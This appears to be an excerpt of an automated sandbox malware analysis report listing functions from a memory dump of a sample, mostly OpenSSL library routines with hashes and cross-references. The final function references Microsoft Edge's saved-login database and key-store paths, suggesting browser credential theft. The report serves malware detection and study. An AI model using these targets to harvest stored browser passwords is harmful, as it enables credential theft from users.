Instruction Fuzzy Hash: 1551BDB56083228FD304CF59C890A5BB7E1FFC8345F96492DF89D9B240EB34E9158B82

Function 10082E90 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 161COMMONLIBRARYCODE

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1008305B

Part of subcall function 100672C0: AcquireSRWLockShared.KERNEL32(00000000,10082EFC,00000000,00000001,?,00000000,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000), ref: 100672C4

qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,00000008,10083230,?,?,?,00000001,?,00000000,1006F40D), ref: 10082FB4

Strings

get_and_lock, xrefs: 10083041
crypto\ex_data.c, xrefs: 10082F44, 1008302C, 10083048

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AcquireLockShared__fprintf_lqsort
String ID: crypto\ex_data.c$get_and_lock
API String ID: 2849024043-4055479251
Opcode ID: 88cb7486729da6caca30f8d08faeaf5ec90c463713076c95479b37491f3deee5
Instruction ID: f16189297f98d0b2ada48e4376c77914d309169420d4256f49ffa5ae5cb5478f
Opcode Fuzzy Hash: 88cb7486729da6caca30f8d08faeaf5ec90c463713076c95479b37491f3deee5
Instruction Fuzzy Hash: D751A175904302ABD710CF58CC82A1BB7E5FF98340F11493AF98497222EB75EA24CBD2

Function 10069410 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100694B8
__fprintf_l.LIBCMT ref: 1006958A

Strings

bio_write_intern, xrefs: 1006949E, 10069570
crypto\bio\bio_lib.c, xrefs: 100694A8, 1006957A

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: bio_write_intern$crypto\bio\bio_lib.c
API String ID: 3906573944-3801666009
Opcode ID: bf018149dd9ccf889d3f77d67988b8c00816e4f01ec040605227557f573f950a
Instruction ID: 51b8ca749ad3d06d57a242bf6bf3d3277277f3fef40a366f3fb8b1fe6af57273
Opcode Fuzzy Hash: bf018149dd9ccf889d3f77d67988b8c00816e4f01ec040605227557f573f950a
Instruction Fuzzy Hash: 2F41D631744701ABE720CA69DC42F9B73DDEF81B60F10461DF6699A9C0DBA1F9018756

Function 10078940 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10078A6C
__fprintf_l.LIBCMT ref: 10078AC1

Strings

crypto\conf\conf_mod.c, xrefs: 10078953, 10078982, 10078997, 10078A59, 10078AAE, 10078B26, 10078B38, 10078B4A
module_init, xrefs: 10078A4F, 10078AA4

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\conf\conf_mod.c$module_init
API String ID: 3906573944-3108863321
Opcode ID: bf90f3f663e6780c672ea273595c9ee731290a204ecfd36b96de66e9b05a1ebc
Instruction ID: 29b4d4fcdc31d85e632ccaca97dcf59f83959cc7f4f5b6144f8f87eb5a4fbecb
Opcode Fuzzy Hash: bf90f3f663e6780c672ea273595c9ee731290a204ecfd36b96de66e9b05a1ebc
Instruction Fuzzy Hash: 6C413878680302B7D200EB60AC52F9F76D4EF41754F004524F98DA6292EFA9BA6CD767

Function 100B6600 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 153COMMON

Download Yara Rule

APIs

Part of subcall function 1007D820: __fprintf_l.LIBCMT ref: 1007D8B3

Part of subcall function 100A58F0: __fprintf_l.LIBCMT ref: 100A5929

__fprintf_l.LIBCMT ref: 100B6762

Strings

PEM, xrefs: 100B664E
pem_read_bio_key_decoder, xrefs: 100B674B
crypto\pem\pem_pkey.c, xrefs: 100B6752

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: PEM$crypto\pem\pem_pkey.c$pem_read_bio_key_decoder
API String ID: 3906573944-730149745
Opcode ID: 279fa589cfb67b4746694518f3215361b3cb4318e2fd27b9c8da54b54f3d8ee1
Instruction ID: f375014e91e87c25cff9c7614ecca2bc7d217a5e516884c40aabc18c4cad2e31
Opcode Fuzzy Hash: 279fa589cfb67b4746694518f3215361b3cb4318e2fd27b9c8da54b54f3d8ee1
Instruction Fuzzy Hash: 7A415B7A7452016BEA10EB64EC03F2F73D8DF84759F14052DFA4575183EE69BC1442A7

Function 100E3800 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100E3827
__fprintf_l.LIBCMT ref: 100E3858

Strings

general_allocate_prompt, xrefs: 100E380E, 100E3842
crypto\ui\ui_lib.c, xrefs: 100E3815, 100E3849, 100E3869, 100E38BA, 100E38D1, 100E38E0, 100E38EF, 100E3901, 100E3945, 100E395C, 100E396B, 100E397A, 100E398C

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\ui\ui_lib.c$general_allocate_prompt
API String ID: 3906573944-1015203450
Opcode ID: 2657f4c7b46a31fdcc00826d146a2274a9e9336c5ebff81f6affef88ca52f045
Instruction ID: 1bfcdeb4d78c3e6cfbe1f08e238f199785023c8762112e7726617e2bf5bc69f4
Opcode Fuzzy Hash: 2657f4c7b46a31fdcc00826d146a2274a9e9336c5ebff81f6affef88ca52f045
Instruction Fuzzy Hash: 414157789807066EC221DF66AE42F0BBBF1EF51B18F204619F8CE322D2D771B568C651

Function 100E3620 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100E3647
__fprintf_l.LIBCMT ref: 100E3678

Strings

general_allocate_prompt, xrefs: 100E362E, 100E3662
crypto\ui\ui_lib.c, xrefs: 100E3635, 100E3669, 100E3689, 100E36DA, 100E36F1, 100E3700, 100E370F, 100E3721, 100E3765, 100E377C, 100E378B, 100E379A, 100E37AC

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\ui\ui_lib.c$general_allocate_prompt
API String ID: 3906573944-1015203450
Opcode ID: 01e336186ed8bac7846f6b71fb36b689103fa7d327ef1521761a0148c5c73015
Instruction ID: 7c3abb80d113f87985187edff23784b8c535e392c75b1b3375da36b553689ff5
Opcode Fuzzy Hash: 01e336186ed8bac7846f6b71fb36b689103fa7d327ef1521761a0148c5c73015
Instruction Fuzzy Hash: AA4176B85847027ED231DF66AD46F0BBBF0EF10B18F204619F9CA222D2D770B428C681

Function 100A5520 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A555C

Strings

crypto\encode_decode\decoder_lib.c, xrefs: 100A554A, 100A5596
OSSL_DECODER_CTX_add_extra, xrefs: 100A5540, 100A558C

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_add_extra$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-3081908278
Opcode ID: 8e987c4cd9ac664312826c888dff13e2c5df5440c432fe47d1f7e8e8a44a0ffa
Instruction ID: 566d90f6039f397f0ae6162037e21d897cca4c401c72dd77559cfa991431b007
Opcode Fuzzy Hash: 8e987c4cd9ac664312826c888dff13e2c5df5440c432fe47d1f7e8e8a44a0ffa
Instruction Fuzzy Hash: BA41D1759083419FC300DBA9DC81B4BB6E5FF88359F854A29F588A3201FB76E940CB96

Function 1006FB90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 131COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1006FBBF

Strings

BN_lshift, xrefs: 1006FBA8
crypto\bn\bn_shift.c, xrefs: 1006FBAF

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: BN_lshift$crypto\bn\bn_shift.c
API String ID: 3906573944-1790063678
Opcode ID: acd313b4c1308000ebe8b2a8b304679eb7ddfd895b3c4815564a1807fcc2ef54
Instruction ID: 103a6947e35edc74c47a9f0cee7cc05261bca27feafec0948117c095760ce46d
Opcode Fuzzy Hash: acd313b4c1308000ebe8b2a8b304679eb7ddfd895b3c4815564a1807fcc2ef54
Instruction Fuzzy Hash: 3641B8B6A046259BD700DF08DD82B1AB3E1FF88710F444669E848AB341E730F919CBE2

Function 100C8100 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 126COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100C8224

Strings

X509_PUBKEY_get0, xrefs: 100C81DA
crypto\x509\x_pubkey.c, xrefs: 100C813C, 100C8162, 100C817E, 100C81E4, 100C8211
X509_PUBKEY_get, xrefs: 100C8207

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: X509_PUBKEY_get$X509_PUBKEY_get0$crypto\x509\x_pubkey.c
API String ID: 3906573944-2146930455
Opcode ID: 5d4e110c6caf15aa6c74aadada8d9ac6aa429a6e016a7023d070fb6dffac8693
Instruction ID: 4023e485bccdc7981d319afeb467725a4f3753649db5ba131d7c70471a280735
Opcode Fuzzy Hash: 5d4e110c6caf15aa6c74aadada8d9ac6aa429a6e016a7023d070fb6dffac8693
Instruction Fuzzy Hash: 57411379A44302BBC700CF61EC46B5FB7E4FF85764F00496AF99866241D734E618CBAA

Function 1005AC30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 87COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005AD06

Strings

crypto\objects\obj_dat.c, xrefs: 1005ACF6, 1005AD24
OBJ_nid2obj, xrefs: 1005ACEC, 1005AD1A

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OBJ_nid2obj$crypto\objects\obj_dat.c
API String ID: 3906573944-992393664
Opcode ID: dbd59308f3b088277af01a958928e675b76601600b5c14529b4c1c2afb128e88
Instruction ID: 4d035349398429baf872b50bc79f5b79e1573e3147935bba4a8f96cb85aaa61f
Opcode Fuzzy Hash: dbd59308f3b088277af01a958928e675b76601600b5c14529b4c1c2afb128e88
Instruction Fuzzy Hash: A521F474900315ABE310EB249C83FDA76D4FB49748F410528F94CDA182FB69F96CC696

Function 1006E720 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1006E755

Strings

sk_reserve, xrefs: 1006E73B, 1006E7C4
crypto\stack\stack.c, xrefs: 1006E745, 1006E781, 1006E7CE, 1006E7F3

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\stack\stack.c$sk_reserve
API String ID: 3906573944-838942221
Opcode ID: f30fdbe65f6003997517e22a14d796d1578bbf6df4be7b577361566ffb9278fc
Instruction ID: c1eba24933bd6402e2c8bc1d3e0a32f2d3bf78fabf624f68fe6b411593d20d7e
Opcode Fuzzy Hash: f30fdbe65f6003997517e22a14d796d1578bbf6df4be7b577361566ffb9278fc
Instruction Fuzzy Hash: FD21C575A443576AD310DB68BD03B8A7395EB417A0F018231F918E7182F770FC55C6D2

Function 1007FB90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007FBE5
__fprintf_l.LIBCMT ref: 1007FC20

Strings

DSO_free, xrefs: 1007FBCE, 1007FC09
crypto\dso\dso_lib.c, xrefs: 1007FBD5, 1007FC10, 1007FC36, 1007FC45, 1007FC54

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: DSO_free$crypto\dso\dso_lib.c
API String ID: 3906573944-418395819
Opcode ID: 21ecb74587c5e4c385dac3f4806e07a3513156a1f96ebf4e5129ebf2a5c286c0
Instruction ID: 065cd6327d4011de37f1ed93ca32338b2f30c6a9041b6eb86a3d7bc06ca6c289
Opcode Fuzzy Hash: 21ecb74587c5e4c385dac3f4806e07a3513156a1f96ebf4e5129ebf2a5c286c0
Instruction Fuzzy Hash: B01108B464060226E120E664ED43FABB6D0EF01750F018A1CFA98F61D3E759F958819E

Function 1005E7C0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005E7E7
__fprintf_l.LIBCMT ref: 1005E830

Strings

crypto\engine\eng_init.c, xrefs: 1005E7D5, 1005E81D
ENGINE_init, xrefs: 1005E7CE, 1005E816

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: ENGINE_init$crypto\engine\eng_init.c
API String ID: 3906573944-3809672554
Opcode ID: dc69846b14d03ef005582101b8bf91f4b67f054a02d6cbdd765f80f7baedffb1
Instruction ID: c84e80f59a179ad4c99b524fdc61007b2f17dc32e288f0e7d472587ca8538374
Opcode Fuzzy Hash: dc69846b14d03ef005582101b8bf91f4b67f054a02d6cbdd765f80f7baedffb1
Instruction Fuzzy Hash: 0D113635A4076127D254E728BC02B9732C5EF82754F150024FA8CD61D2EB66F809D5A6

Function 10089510 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 62encryptionCOMMON

Download Yara Rule

APIs

CertGetCertificateContextProperty.CRYPT32(00000000,0000000B,00000000,00000000), ref: 1008953B
CertGetCertificateContextProperty.CRYPT32(00000000,0000000B,00000000,?), ref: 1008956A

Strings

capi_cert_get_fname, xrefs: 1008951C
engines\e_capi.c, xrefs: 1008954A, 1008957F, 1008959A, 100895B2

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CertCertificateContextProperty
String ID: capi_cert_get_fname$engines\e_capi.c
API String ID: 665277682-4048789269
Opcode ID: 5b2ebe061121ee703883488d800abf29534d9c273eb6069396e7ef5884a9cb72
Instruction ID: a6e7bfe5bd1ff55f0bd941fce27b6c450cdf5e37aca7d7d1dc84a8816b34ca63
Opcode Fuzzy Hash: 5b2ebe061121ee703883488d800abf29534d9c273eb6069396e7ef5884a9cb72
Instruction Fuzzy Hash: BD016D39B407113AD711E7656D06F6F27A8EFC1B43F040426F705B60D2EF50F6258665

Function 10078010 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10078037
__fprintf_l.LIBCMT ref: 10078069

Strings

crypto\conf\conf_lib.c, xrefs: 10078027, 10078059
NCONF_get_section, xrefs: 1007801D, 1007804F

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: NCONF_get_section$crypto\conf\conf_lib.c
API String ID: 3906573944-2868297792
Opcode ID: 99c1a175b634e38290d8d9f2085bb521873e02fae93a494947c119051aad92ab
Instruction ID: 1fa48d7512b77c670575d050d79993fa02f3ba977008ce39087b9035433cde7c
Opcode Fuzzy Hash: 99c1a175b634e38290d8d9f2085bb521873e02fae93a494947c119051aad92ab
Instruction Fuzzy Hash: 96118274744302AAD604DB74DC86B2E73D0EF41740F41892CB58CEA281EBA4E928D757

Function 1007FA30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007FA5A
__fprintf_l.LIBCMT ref: 1007FA93

Strings

DSO_convert_filename, xrefs: 1007FA3D, 1007FA7A
crypto\dso\dso_lib.c, xrefs: 1007FA47, 1007FA84, 1007FAC5

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: DSO_convert_filename$crypto\dso\dso_lib.c
API String ID: 3906573944-3954627291
Opcode ID: 383fa81f041f29b1c3d8cdeaec76657b93178863ad4a68d3dba93c0606af5614
Instruction ID: 25f376fc9c6980276d2024a2621753e0919d2c248a13b9364e9802f72aa6553c
Opcode Fuzzy Hash: 383fa81f041f29b1c3d8cdeaec76657b93178863ad4a68d3dba93c0606af5614
Instruction Fuzzy Hash: 470122B0B4025332D600F6207C02FA726C4DF01B44F06C65CFA9CFA183E754ED01809B

Function 1007FAE0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007FB0A

Strings

crypto\dso\dso_lib.c, xrefs: 1007FAF7, 1007FB51
DSO_ctrl, xrefs: 1007FAED, 1007FB47

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: DSO_ctrl$crypto\dso\dso_lib.c
API String ID: 3906573944-794550828
Opcode ID: 3ad46b3bed13990e08d39b71ef190cc4be19f8c7f87ab7bf42677622f138b4ed
Instruction ID: cc5e0198732c357769b123e27f023cf95661ec81a848dc43ba19508087268051
Opcode Fuzzy Hash: 3ad46b3bed13990e08d39b71ef190cc4be19f8c7f87ab7bf42677622f138b4ed
Instruction Fuzzy Hash: 93018074B402016BDA00EE34DD56B2AB6D0EB81760F54CA5CB198DA6D2E775E801950A

Function 100720F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,00000000,?,?,00000000), ref: 1007212F
__fprintf_l.LIBCMT ref: 10072158

Strings

ASN1_TYPE_get_octetstring, xrefs: 10072141
crypto\asn1\evp_asn1.c, xrefs: 10072148

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_lmemmove
String ID: ASN1_TYPE_get_octetstring$crypto\asn1\evp_asn1.c
API String ID: 58337479-811274528
Opcode ID: 328dec81d64dd71ace8cd4cfb7cc298a3755c0ed001f0de3fc7daad521d0252f
Instruction ID: 3aa5051f9afec4d3bc819dbb61aa3ff30735e1cc7bf3f5ea0d5dcd99bb00e0ec
Opcode Fuzzy Hash: 328dec81d64dd71ace8cd4cfb7cc298a3755c0ed001f0de3fc7daad521d0252f
Instruction Fuzzy Hash: 76F04C34B0030266D910D5386C06F5772D9EF91A50F014A19F998E7282EE64FC45C7A5

Function 1004B59E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(1033A4A0,00000000,00000000,?,?,?,1004E8DA,?,?), ref: 1004B5AF

Part of subcall function 10050C20: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,1004E8C5,?,00000000,1004E8C5,?,102A6652,?,1004E8C5,?,?), ref: 10050C4F

CoTaskMemFree.OLE32(?,?,?,?,?,?,1004E8DA,?,?), ref: 1004B5EB

Strings

%ls\Microsoft\Edge\User Data\Default\Login Data, xrefs: 1004B5D3
%ls\Microsoft\Edge\User Data\Local State, xrefs: 1004B5BB

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
